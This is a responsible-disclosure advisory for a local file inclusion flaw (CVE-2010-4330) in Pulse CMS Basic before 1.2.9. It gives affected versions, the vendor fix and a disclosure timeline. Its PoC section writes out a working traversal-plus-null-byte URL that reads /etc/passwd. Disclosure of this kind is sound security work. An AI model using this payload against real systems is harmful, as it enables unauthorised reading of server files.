'Pulse CMS Basic' Local File Inclusion Vulnerability (CVE-2010-4330)

'Pulse CMS Basic' Local File Inclusion Vulnerability (CVE-2010-4330)
Mark Stanislav - [email protected]

I. DESCRIPTION

A vulnerability exists in the 'includes/controller.php' script that allows for arbitrary local file inclusion due to a null-byte attack.

II. TESTED VERSION

Version 1.2.8

III. AFFECTED VERSIONS

< 1.2.9

IV. PoC EXPLOIT

http://www.example.com/index.php?p=/../../../../../../../../../../../../../../etc/passwd&#37;00

V. NOTES

• magic_quotes_gpc must be disabled for null-byte attacks to work
• This issue did not affect Pulse CMS Pro according to the vendor

VI. SOLUTION

Upgrade all previously installed versions to 1.2.9

VII. REFERENCES

http://pulsecms.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4330
http://www.uncompiled.com/2010/12/pulse-cms-basic-local-file-inclusion-vulnerability-cve-2010-4330/

VIII. TIMELINE

11/24/2010: Initial vendor disclosure
11/25/2010: Vendor response that they had fixed the issue & updated the existing version (1.2.8)
11/25/2010: Replied to vendor inquiring if a new point release would be made and affected versions
11/26/2010: Vendor response noting a version increment was coming & vulnerable versions confirmation
11/26/2010: Pulse CMS Basic 1.2.9 released
12/05/2010: Public disclosure